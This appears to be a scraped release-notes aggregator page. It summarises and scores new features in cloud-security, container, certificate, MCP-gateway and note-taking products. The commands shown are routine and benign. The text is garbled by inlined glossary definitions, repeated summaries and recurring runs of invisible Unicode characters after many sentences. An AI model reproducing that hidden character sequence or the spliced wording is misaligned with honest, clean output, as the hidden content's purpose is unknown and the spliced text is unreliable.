New GCP check PLERION-GCP-341 reads the public image license on a Compute Engine instance's boot disk and fails the instance at Medium severity when the OS is past end-of-life, covering Debian, Ubuntu, CentOS, RHELRHELRed Hat Enterprise Linux, a commercially supported Linux distribution maintained by Red Hat, chosen by cyber tools for its long support lifecycle, certified hardware compatibility, and enterprise deployment prevalence., Rocky Linux, AlmaLinux, Oracle Linux, SUSE, and Windows Server images.
Plerion adds event-driven continuous scanning for AWS accounts, updating findings within minutes of CloudTrailCloudTrailAWS service that records API calls and account activity across an AWS environment, giving cyber tools an audit log to detect anomalous or malicious actions. events, off by default and priced at 3 units per changed-asset scan.
Turn on continuous scanning for an AWS account on the account integration's page (requires CDR to be set up first); it is off by default, re-scans on CloudTrail management events, and updates findings within minutes of each event.
Each continuous asset scan that finds a change costs 3 Plerion units; re-scans that detect no change are free; continuous scanning appears as its own type on the subscription usage chart.
Rapid7 InsightCloudSec's 26.11.3 release added new posture-check Insights, expanded harvester data collection, and improved visibility into Azure load balancer configurations.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Rapid7 InsightCloudSec is a cloud security platform that monitors multi-cloud environments to detect misconfigurations, enforce compliance policies, and manage risk across AWS, Azure, and Google Cloud.
Rapid7 InsightCloudSec's 26.11.3 release added new posture-check Insights, expanded harvester data collection, and improved visibility into Azure load balancer configurations.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
3 FEATURES0 OF 3 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Improved Azure load balancer visibilityimproved25how completely this was documenteddepth10/40specificity10/30actionability5/3025 / 100
InsightCloudSec now surfaces improved visibility into Azure load balancer configurations.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Define and run multi-container applications with Docker
Docker Compose v5.7.0 adds several CLI conveniences — a push flag to skip missing images, cross-project stats aggregation, a umask service attribute, and a run flag to reuse dependencies — while also extending the library API with new validation helpers and shipping multiple breaking changes to typed options and exported symbols.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
7 FEATURES0 OF 7 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Breaking changes to library API types and exportsbreaking90how completely this was documenteddepth35/40specificity30/30actionability25/3090 / 100
DownOptions.Images is now typed as api.ImagePruneMode; a string variable passed where it was previously accepted now requires an explicit conversion.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ compose.ServiceHash, compose.NetworkHash, and compose.VolumeHash are no longer exported; code that referenced them must switch to the internal package or remove the call. The interactive up keyboard menu is no longer built by the library; callers must set NavigationMenu: true AND supply an implementation via compose.WithNavigationMenu(...), or no menu is displayed. Up now ignores StartOptions.Project and operates only on the project passed directly to it; callers relying on StartOptions.Project must pass the project directly.
— Names every affected symbol with precise migration guidancev5.7.0
0200
Library API push and up-validation helpersnew80how completely this was documenteddepth30/40specificity30/30actionability20/3080 / 100
Adds new library API capabilities: PushOptions.IgnoreMissing lets callers skip locally absent images when calling api.Compose.Push, and UpOptions.Validate() lets callers validate Up option combinations upfront, returning *api.IncompatibleOptionsError (matchable with errors.Is(err, api.ErrIncompatibleOptions)) instead of silently ignoring them.
— Names types, methods and error handling preciselyv5.7.0
0300
New CLI flags for docker compose push, stats, and runnew75how completely this was documenteddepth20/40specificity25/30actionability30/3075 / 100
Adds --ignore-missing to docker compose push to skip images not available locally during push, --all-projects and --aggregate to docker compose stats for cross-project resource monitoring with per-service rollups, and --no-recreate to docker compose run to reuse existing dependency containers without recreating them.
Push all service images, silently skipping any that are not present in the local image store.
$ docker compose push --ignore-missing
Watch live resource usage rolled up across every running Compose project on the host.
$ docker compose stats --all-projects--aggregate
— Names exact flag and subcommand with a runnable example Names both flags with a runnable example command Names flag but no example or deeper mechanism givenv5.7.0
0400
New compose.yaml service attributesnew75how completely this was documenteddepth20/40specificity25/30actionability30/3075 / 100
Adds a umask service attribute in compose.yaml to control the file-creation mask inside the container, and lets a service opt out of its own name as a network alias in compose.yaml.
Set a restrictive file-creation mask for a service so new files inside the container are not world-readable.
yaml
services:
api:
image: myapp:latest
umask: '0027'
— Names config key and file with a concrete YAML example No config key or mechanism named, vague descriptionv5.7.0
thinner coverage below
0500
BuildKit bake concurrency passthroughimproved50how completely this was documenteddepth15/40specificity20/30actionability15/3050 / 100
Pass the --parallel concurrency limit through to BuildKitBuildKitA build engine for Docker images, maintained by Moby, that replaces the legacy Docker builder with parallel layer execution, cache mounts, and secret handling — giving cyber tools faster, more reproducible container builds. bake as --jobs when building with bake.
api.Compose split into six interfacesimproved45how completely this was documenteddepth20/40specificity15/30actionability10/3045 / 100
api.Compose is now assembled from six smaller focused interfaces with the same method set, making it easier to implement or wrap in library code.
— Explains refactor but doesn't name the six interfacesv5.7.0
0700
Docker Hub auth via Docker Desktop sessionimproved40how completely this was documenteddepth15/40specificity15/30actionability10/3040 / 100
Docker Compose now uses the Docker Desktop Hub session for Docker Hub registry credentials automatically.
— Explains behaviour but no setup steps or flagsv5.7.0
└──▷ BREAKING ON UPGRADE
!
DownOptions.Images is now typed as api.ImagePruneMode; a string variable passed where it was previously accepted now requires an explicit conversion.
!
compose.ServiceHash, compose.NetworkHash, and compose.VolumeHash are no longer exported; code that referenced them must switch to the internal package or remove the call.
!
The interactive up keyboard menu is no longer built by the library; callers must set NavigationMenu: true AND supply an implementation via compose.WithNavigationMenu(...), or no menu is displayed.
!
Up now ignores StartOptions.Project and operates only on the project passed directly to it; callers relying on StartOptions.Project must pass the project directly.
Anchore's software supply chain solutions automate vulnerability scanning, strengthen container security, and support compliance with NIST, FedRAMP & more.
v6.3 adds Quick Package Search (by name, version, or PURLPURLA Package URL — a community-maintained spec for identifying software packages across ecosystems (npm, PyPI, Maven, etc.) with a single, consistent string, letting cyber tools pinpoint exact dependencies unambiguously.), vulnerability-worsening alerts, and AI model policy gating with Fail or Warn outcomes.
Search for affected packages by name, name-plus-version, or PURL before a CVE is published — or when one never gets assigned — using the new Quick Package Search.
Anchore Enterprise now fires detailed notifications when a known vulnerability's CVSSCVSSCommon Vulnerability Scoring System, a method for describing a vulnerability's characteristics and severity. Its score is not the probability that attackers will exploit it. score or severity, EPSSEPSSExploit Prediction Scoring System, an estimate of the probability that a published vulnerability will be exploited in the next 30 days. It helps prioritize investigation and patching. score, or CISA KEVCISA KEVA catalog maintained by the US Cybersecurity and Infrastructure Security Agency listing vulnerabilities confirmed to be actively exploited in the wild, giving cyber tools a vetted, authoritative prioritization signal. status changes after initial triage.
Discovered AI models (GGUFGGUFThe single-file model format used by llama.cpp and Ollama, holding the weights, usually quantized, together with the tokenizer and settings needed to run the model locally. and Docker Models) are now reported as packages inside application versions, making them visible in the same inventory as other components.
Gate AI models in pipeline policy with two outcomes — Fail (hard stop) or Warn (flag for parallel vetting) — using the new packages policy gate for AI models.
Firejail adds ${PROJECTS}, ${PUBLICSHARE}, ${TEMPLATES}XDGXDGA set of specifications maintained by freedesktop.org that standardise where Linux applications store config, data, and cache files, letting tools respect user-defined paths instead of hardcoding locations. macros, subpath support in XDG macros, syscall:log for audit-mode seccomp, a @program-keep syscall group, and profstats --include.
└──▷ GET THIS VERSION
$ git clone --branch 0.9.82 https://github.com/netblue30/firejail.git
# already have the repo? check out this version:$ git checkout 0.9.82
Add ${PROJECTS}, ${PUBLICSHARE}, and ${TEMPLATES} macros to profile files for referencing XDG user directories.
Allow subpaths in XDG macros in profile files, so paths like ${DOCUMENTS}/reports are now valid.
Implement syscall:log in seccomp lists to log rather than block a syscall, enabling audit-style profiling.
Add the profstats tool's --include command-line option to filter profile statistics.
Add a new @program-keep syscall group for seccomp allowlists.
Trend Vision One's Agentless Vulnerability & Threat Detection now supports deploying scanners directly into a customer's own AWS VPCVPCA logically isolated virtual network inside a public cloud provider's infrastructure, letting tools deploy resources with private addressing, controlled routing, and firewall rules without managing physical hardware. for tighter network isolation.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Trend Vision One is Trend Micro's unified cybersecurity platform that consolidates threat detection, response, and risk management across endpoints, cloud, email, and networks.
Trend Vision One's Agentless Vulnerability & Threat Detection now supports deploying scanners directly into a customer's own AWS VPCVPCA logically isolated virtual network inside a public cloud provider's infrastructure, letting tools deploy resources with private addressing, controlled routing, and firewall rules without managing physical hardware. for tighter network isolation.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
1 FEATURE1 OF 1 FEATUREmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0101
VPC deployment for Agentless Vulnerability & Threat DetectionUpdated supported platformnew69how completely this was documenteddepth25/40specificity22/30actionability22/3069 / 100
Agentless Vulnerability & Threat Detection can now be deployed directly into your own AWS Virtual Private Cloud (VPC) via CloudFormationCloudFormationAn AWS service that lets you describe and provision cloud infrastructure as declarative YAML or JSON templates, so a cyber tool can reproducibly spin up or tear down its entire AWS environment with a single API call., for greater network isolation and control.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Configure this under Cloud Security → Cloud Accounts → AWS by selecting the CloudFormation deployment method and choosing your target VPC.
When you need to keep agentless scanning traffic inside your own network boundary — for compliance or segmentation — deploy the scanner into your VPC instead of the default shared network.
📍In the Trend Vision One console, go to Cloud Security → Cloud Accounts → AWS and select the CloudFormation deployment method, then choose your target VPC when prompted.
Agentless Vulnerability & Threat Detection adds tag-based filtering for AWS scans and a new audit log showing matched vs. total resource counts.
Add tag-based filtering for AWS scans to include resources, exclude resources, or both, so only matching resources are scanned — configured via the Configuration tab of Agentless Vulnerability & Threat Detection.
The audit log now reports the defined include/exclude tags, whether TrendAI Lambda functions are excluded or scanned, and the count of matched resources against total detected resources.
2 details in Everything
└──▷ BREAKING ON UPGRADE
!TrendAI Lambda functions are now excluded from Agentless Vulnerability & Threat Detection scans by default; existing deployments that relied on scanning these functions must re-enable the option on the Configuration tab.
Cribl shipped a new public benchmark for telemetry decision models and an open-weight model family trained specifically for telemetry classification and routing.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Cribl is the AI Platform for Telemetry, providing open, flexible infrastructure that helps enterprises manage, connect, and analyze their data across IT, security, and observability environments.
Cribl shipped a new public benchmark for telemetry decision models and an open-weight model family trained specifically for telemetry classification and routing.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
2 FEATURES2 OF 2 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0101
Telemetry Decisions Bench public benchmarknew75how completely this was documenteddepth30/40specificity30/30actionability15/3075 / 100
Cribl adds Telemetry Decisions Bench, a public benchmark and leaderboard covering 4,806 production-like IT, security, and telemetry decision tasks across 10 task families, reporting accuracy, negative log-likelihood (NLL), expected calibration error (ECE), latency per decision, and cost for API models.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
— Names metrics and task counts but no API or access path.2026-11-02-8660462f
0202
cribl-decision-2 open-weight model familynew75how completely this was documenteddepth30/40specificity30/30actionability15/3075 / 100
Cribl adds cribl-decision-2, a family of open-weight decision models available for download from Hugging Face, with sizes at 0.8B (20 ms per decision) and 4B (78 ms per decision), trained specifically for telemetry classification and routing decisions.
— Names model sizes, latency, and Hugging Face as the download source.2026-11-02-8660462f
Databricks is a cloud-based data lakehouse platform for data engineering, analytics, machine learning, and AI workloads, built on Apache Spark.
Databricks shipped finer-grained history control for Delta Sharing views, expanded Genie Agent to analyze unstructured files in Unity Catalog volumes with cited answers, and raised Unity Catalog secret limits while adding BROWSE support.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
3 FEATURES0 OF 3 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
History control on shared viewsnew85how completely this was documenteddepth30/40specificity25/30actionability30/3085 / 100
New WITH HISTORY and WITHOUT HISTORY clauses on ALTER SHARE ADD VIEW and ALTER SHARE ALTER VIEW let you control whether a view's full history is exposed to Delta Sharing recipients; existing history defaults are unchanged for views already shared.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Add a view to a Delta Sharing share while exposing its full history to recipients.
$ ALTER SHARE my_share ADD VIEW my_catalog.my_schema.my_view WITH HISTORY;
Genie Agent analysis of unstructured files in volumesnew70how completely this was documenteddepth30/40specificity20/30actionability20/3070 / 100
Databricks Genie Agent can now analyze unstructured files stored in Unity Catalog volumes — including PDFs, slide decks, and images — and answers queries with citations pointing to the source page. Workspace admins control access via the Previews page by enabling 'Analyze files in volumes with a Genie Agent' under Settings > Previews.
Enable Genie Agent file analysis for Unity Catalog volumes so your workspace can query PDFs and slide decks with cited answers.
📍In the Databricks workspace, go to Settings › Previews and enable 'Analyze files in volumes with a Genie Agent'.
Unity Catalog secrets: BROWSE support and higher limitsimproved70how completely this was documenteddepth30/40specificity25/30actionability15/3070 / 100
Unity Catalog secrets now support the BROWSE privilege, letting users discover secrets and their metadata without read access to values or code references, by granting BROWSE on a catalog. Per-schema and per-metastore secret limits were raised to 1,000 secrets per schema and 10,000 per metastore (up from 100 and 1,000), for both Databricks-managed secrets and secrets backed by AWS Secrets Manager.
Censys is a internet-wide scanning and search platform that discovers and monitors hosts, services, and certificates to help security teams assess their exposure.
└──▷ WHAT SHIPPED ·
4 FEATURES2 OF 4 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0101
Flattened credit costs for actionsimproved63how completely this was documenteddepth28/40specificity25/30actionability10/3063 / 100
Free and Starter users now pay one credit per UI or API action, replacing the previous tiered costs (lookup: 1 credit, standard search: 5 credits, advanced/regex query: 8 credits), so monthly allotments go further.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
syzkaller is an unsupervised coverage-guided kernel fuzzer
syzkaller's dashboard adds a RouteLabel to control how bugs are routed to external reporting stages︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Adds a new RouteLabel bug label (type "route") to the dashboard so AI security assessments can tag bugs with a routing destination; the label is visible at AccessUser level and, once set, is never overwritten by subsequent assessments.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Dashboard now passes bug labels, including the new route label, through to external bug reportings so downstream consumers see the full label set.
Adds a new RouteLabel bug label (type "route") to the dashboard so AI security assessments can tag bugs with a routing destination; the label is visible at AccessUser level and, once set, is never overwritten by subsequent assessments.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
DefectDojo 3.5.0 lets operators supply secret key fallbacks via an environment variable, adds a plugin hook for scoping default querysets, introduces LocationData builders for domain, IP, and certificate data, and allows Cloud customers to bring their own AI model for Sensei.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
DefectDojo 3.5.0 lets operators supply secret key fallbacks via an environment variable, adds a plugin hook for scoping default querysets, introduces LocationData builders for domain, IP, and certificate data, and allows Cloud customers to bring their own AI model for Sensei.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
4 FEATURES0 OF 4 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Secret key fallbacks via environment variablenew80how completely this was documenteddepth25/40specificity25/30actionability30/3080 / 100
Django secret key fallbacks can now be supplied through the DD_SECRET_KEY_FALLBACKS environment variable instead of being hardcoded in settings.dist.py or local_settings.py.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Supply secret key fallbacks through the environment so they are never committed to config files.
$ DD_SECRET_KEY_FALLBACKS='oldsecret1,oldsecret2' docker compose up
— Exact env var named with a runnable command example3.5.0
thinner coverage below
0200
Default-queryset hook for pluginsnew45how completely this was documenteddepth20/40specificity15/30actionability10/3045 / 100
A new default-queryset hook, introduced via a database migration, lets plugins scope querysets at the model level.
Nudge Security is a SaaS security platform that discovers shadow IT assets, manages identity governance, and hardens security posture.
Nudge Security adds an AI agent inventory view at Identities > AI agents, risk flagging for publicly accessible agents, hardcoded credentials, and unauthenticated MCPMCPModel Context Protocol, a standard for connecting AI applications to external tools and data sources. A compatible server exposes capabilities an assistant can use through a common interface. connections, plus creator-nudge workflows to capture agent intent.
New integrationAccess the full AI agent inventory at Identities > AI agents, where each agent shows its creator, platform, integrations, permissions, and approval status regardless of which discovery channel found it.
Flag risky AI agents that are publicly accessible, carry hardcoded credentials, use unauthenticated MCP connections, or whose creators have left the organization.
Send a nudge to an agent's creator to collect a plain-language explanation of the agent's purpose and required access, with the answer saved to the agent's record.
1Password SaaSSaaSSoftware delivered over the internet and run on the provider's infrastructure, so the buyer pays a subscription instead of installing or operating anything locally. Manager adds team-based application ownership, a Billed credits column in AI Spend, configurable AI usage on team deletion, and customizable spend explorer columns.
Assign teams as application owners in the Applications area.
Track billed credits in AI Spend and Consumption with a new Billed credits column for providers that report credits.
Configure how AI usage is handled when a team is deleted.
Customize columns, view rolled-up token totals, and access estimated spend directly in the spend explorer.
People with full spend permissions can now update organization currency settings.
DigiCert CertCentral is a web-based platform for ordering, issuing, managing, and renewing SSL/TLS certificates and other digital trust credentials.
DigiCert CertCentral tightened enforcement of DCVDCVDomain Control Validation, a certificate-authority process that proves an applicant controls a domain before issuing a TLS certificate; cyber tools use it to automate certificate provisioning workflows. method validation on its Services API and switched default TLS certificate issuance to new G5 root hierarchies across all supported brands.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
2 FEATURES2 OF 2 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0101
DCV method enforcement on Services APIbreaking83how completely this was documenteddepth30/40specificity28/30actionability25/3083 / 100
API requests that include a dcv_method not enabled in the account's configuration now return invalid_value (on order or add-domain requests) or dcv_method_not_allowed (on DCV method changes) instead of silently succeeding.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ This is governed by the DCV methods setting under Settings > Preferences > Advanced Settings > Domain Control Validation, which now applies across order endpoints, Change DCV method (pending orders), Add domain, and Change DCV method (domain validation).
Verify which DCV methods your account permits before automated API certificate orders break on the new enforcement.
📍In CertCentral, go to Settings › Preferences. On the Preferences page, expand Advanced Settings. Under Domain Control Validation (DCV), review DCV methods (ensure every method used by your API integrations is checked) and Set default DCV method (the fallback when dcv_method is omitted). Select Save Settings.
TLS certificates now issued from G5 rootsbreaking73how completely this was documenteddepth30/40specificity28/30actionability15/3073 / 100
DigiCert CertCentral now issues all browser-trusted TLS certificates (DV, OV, and EV) from the G5 root hierarchies — DigiCert TLS RSA4096 Root G5 and DigiCert TLS ECC P384 Root G5 — by default across DigiCert, GeoTrust, Thawte, RapidSSL, and Encryption Everywhere brands. All new orders, renewals, reissues, and duplicates use these roots, so trust stores, hard-coded CA trust, or pinned certificates lacking the G5 roots and intermediates will see service disruption.
— Names exact root certificates and affected brands, no migration stepsNovember 12, 2026
└──▷ ALSO FROM THESE RELEASES
└──▷ BREAKING ON UPGRADE
!
API requests that pass a dcv_method value not enabled in the account's DCV methods configuration now receive an invalid_value or dcv_method_not_allowed error rather than being accepted; any Services API integration using a DCV method that is not selected in Settings > Preferences > Advanced Settings > Domain Control Validation will break.
!
All new TLS certificate orders, renewals, reissues, and duplicates are now issued from DigiCert TLS RSA4096 Root G5 or DigiCert TLS ECC P384 Root G5; trust stores, hard-coded root or intermediate CA certificate trust, and pinned certificates that do not include the G5 roots and intermediates will cause service disruptions.
Runlayer is an MCP gateway that enforces identity-mapped permissions and detects threats across the agents and MCP servers employees use.
Runlayer's latest releases add session search across hosted and self-hosted deployments, raw-byte file reads for Microsoft 365, new MCPMCPModel Context Protocol, a standard for connecting AI applications to external tools and data sources. A compatible server exposes capabilities an assistant can use through a common interface. tools for spend visibility, richer tool annotations for agent selection, DNS-based egress blocking, and Claude Desktop routing through the LLMLLMA large language model, a neural network trained on large amounts of text to recognize patterns and generate language. Applications use it for tasks such as answering, summarizing and writing code. Gateway.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
7 FEATURES0 OF 7 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Session search for agent sessionsnew91how completely this was documenteddepth35/40specificity28/30actionability28/3091 / 100
Search agent sessions from the Sessions page on Runlayer-hosted deployments, or let agents search them through the Runlayer MCP tools; results cover sessions from October 29, 2026 onward.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ On self-hosted deployments, enable search by running the session search indexer in write mode, and set SESSIONS_SEARCH_API_ENABLED=false on the backend to hide the search UI until the indexer is ready.
Prevent users on a self-hosted deployment from seeing an empty session search UI before the indexer is running.
env
SESSIONS_SEARCH_API_ENABLED=false
— Names exact config flag, indexer mode and date cutoff2.4.0 (2026-11-03)
0200
Raw file reads for OneDrive and SharePointnew81how completely this was documenteddepth25/40specificity28/30actionability28/3081 / 100
Read exact file bytes from OneDrive and SharePoint with format: "raw" on onedrive_read_file and sharepoint_read_file, and read files up to 50 MB with allow_large_file.
Retrieve the exact bytes of a large file from SharePoint when you need the raw binary content rather than a converted representation.
Tool annotations in Runlayer Plugin search_toolsimproved78how completely this was documenteddepth30/40specificity28/30actionability20/3078 / 100
Runlayer Plugin's search_tools now returns readOnlyHint, destructiveHint, idempotentHint, and openWorldHint as annotations in nested mode, letting agents select read-only tools without enumerating every connector.
MCP spend-breakdown toolsnew75how completely this was documenteddepth25/40specificity30/30actionability20/3075 / 100
Read spend data from the Runlayer MCP using three new tools — get_spend_cost_breakdown (spend per provider and model), get_spend_people_usage (the All users list), and get_spend_department_usage (spend by department) — each requiring the View company metrics permission.
Claude Desktop routing through LLM Gatewaynew65how completely this was documenteddepth28/40specificity22/30actionability15/3065 / 100
AI Watch now routes eligible users' Claude Desktop through the LLM Gateway when LLM routing is on, with short-lived per-device tokens, budgets, and Sessions.
DNS filter block reporting for egress proxynew60how completely this was documenteddepth25/40specificity20/30actionability15/3060 / 100
Self-hosted egress proxy now accepts a list of DNS filter block answers so blocked agent destinations are refused immediately and recorded in response and audit logs.
Obsidian is a note-taking app that lets you write and organize Markdown files stored locally in a vault.
Obsidian overhauled Mermaid diagram rendering with a new Pele library across Desktop and Publish, while Mobile gained PDF export and iOS voice capture with transcription, and Bases/Vim mode both picked up several smaller improvements.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
12 FEATURES0 OF 12 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Mermaid diagrams rendered via new Pele librarybreaking93how completely this was documenteddepth38/40specificity30/30actionability25/3093 / 100
Obsidian now renders Mermaid diagrams using a new library called Pele, compatible with Mermaid 12.1.0 syntax, with --mermaid-* CSS variables for colors, corner radius, and font weights, and .pele-* element classes.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Diagrams are now always rendered without a prompt (the Show Mermaid diagrams in notes setting was removed), are responsive to note width, and can be zoomed and panned when scaled down. Obsidian no longer bundles the Mermaid library; loadMermaid() and window.mermaid now draw with Pele and the SVG output carries .pele-* classes instead of Mermaid's — plugins matching full node names like formatting-code_inline-code will miss closing tokens and must match formatting-code instead.
Voice capture with live transcription in Quick Capturenew80how completely this was documenteddepth30/40specificity25/30actionability25/3080 / 100
Quick Capture on iOS can record voice notes that transcribe as you speak, including from the Lock Screen; recordings can be saved to your vault (requires iOS 26).
Capture a voice note hands-free from the iOS Lock Screen, with automatic transcription saved to your vault.
📍From the iOS Lock Screen, tap the Quick Capture widget or ask Siri Open Quick Capture in Obsidian, then tap the microphone icon to start recording — transcription appears in real time and the note is saved to your vault when you stop.
Bases filter management and search result reportingimproved70how completely this was documenteddepth25/40specificity25/30actionability20/3070 / 100
Bases now supports dragging to reorder filters and a per-filter-row menu to add filters or move them between All views and This view. Bases search now reports when a result limit hides matches, for example Showing 10 of 40. Formula fields in Bases can now be resized up to the width of the window. On phones, Bases filters are now in the Display menu as draggable cards, and the result count shows in the search bar.
URI/CLI commands to append or prepend under a headingnew60how completely this was documenteddepth25/40specificity20/30actionability15/3060 / 100
New URI and CLI commands let you append or prepend content under a specific heading in a note, with options that also control line breaks around the inserted content.
Quick Capture Spotlight, Siri, and auto-titlingimproved55how completely this was documenteddepth20/40specificity20/30actionability15/3055 / 100
